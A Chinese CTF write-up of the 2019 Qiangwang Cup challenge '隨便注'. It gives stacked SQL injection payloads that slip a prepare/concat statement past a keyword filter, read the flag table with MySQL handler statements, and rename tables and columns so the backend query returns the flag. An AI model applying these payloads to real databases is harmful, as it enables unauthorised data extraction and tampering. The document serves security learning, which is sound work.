2021 02 01 強網杯2019 隨便注

2022-06-20 16:15:12 字數 3415 閱讀 3467

1.隨便注就隨便注啦

輸入1

輸入1' order by 2#

輸入1' order by 3#

可以判斷出列數為2

2.嘗試聯合注入

輸入1' union select 2 #

3.嘗試堆疊注入

堆疊注入原理:

輸入1';show databases;#

堆疊注入可行√

輸入11';show tables;

4.1 預處理語句

採用concat連線字串避免出現select

strstr(str1,str2)用於判斷str2是否是str1的字串,大小寫敏感,嘗試將set和prepare改為大寫

-1';

set @sql=concat('se','lect * from `1919810931114514`;');

prepare sqlsql from @sql;

execute sqlsql;

得到flag

4.2 mysql查詢語句-handler

mysql除可使用select查詢表中的資料,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽乙個表中的資料,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到sql標準中。

handler tbl_name open [ [as] alias]

handler tbl_name read index_name (value1,value2,...)

[ where where_condition ] [limit ... ]

handler tbl_name read index_name

[ where where_condition ] [limit ... ]

handler tbl_name read

[ where where_condition ] [limit ... ]

handler tbl_name close

通過handler tbl_name open開啟一張表,無返回結果,實際上我們在這裡宣告了乙個名為tb1_name的控制代碼。

通過handler tbl_name read first獲取控制代碼的第一行,通過read next依次獲取其它行。最後一行執行之後再執行next會返回乙個空的結果。

通過handler tbl_name close來關閉開啟的控制代碼。

通過索引去檢視的話可以按照一定的順序,獲取表中的資料。

通過handler tbl_name read index_name first,獲取控制代碼第一行(索引最小的一行),next獲取下一行,prev獲取前一行,last獲取最後一行(索引最大的一行)。

通過索引列指定乙個值,可以指定從哪一行開始。

通過handler tbl_name read index_name = value,指定從哪一行開始,通過next繼續瀏覽。

1';handler `1919810931114514` open;handler `1919810931114514` read first;#
獲得flag

4.3 修改表名

猜測後台查詢語句為

select * from words where id = ' ';

將1919810931114514表名修改為words,flag列名改為id,這樣進行查詢時,實際上是從flag中進行查詢。

修改語法:

-- 修改表名(將表名user修改為users)

alter table user rename to users;

-- 修改列名(將欄位名username改為names)

alter table users change username names varchar(30)

so

-1';

rename table `words` to `test`;

rename table `1919810931114514` to `words`;

alter table `words` change `flag` `id` varchar(100);#

1' or '1' = '1
製造永真條件,返回資料

反引號(`)和單引號('')的區別與用法:

mysql 中用一對反引號來標註 sql 語句中的標識,如資料庫名、表名、欄位名

引號則用來標註語句中所引用的字元型常量或日期/時間型常量,即字段值

2019強網杯小記

好久沒打過ctf了,這次打完了才意識到這次比賽的很多題其實都是一些原題或者原題變種或者拼湊起來,但奈何太久沒做過ctf了,跟不上了,太菜了qaq web6 首先掃一下目錄,存在ds store資訊洩露和一些路徑 訪問api目錄,提示post引數filename 並提供乙個array,使用postma...

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...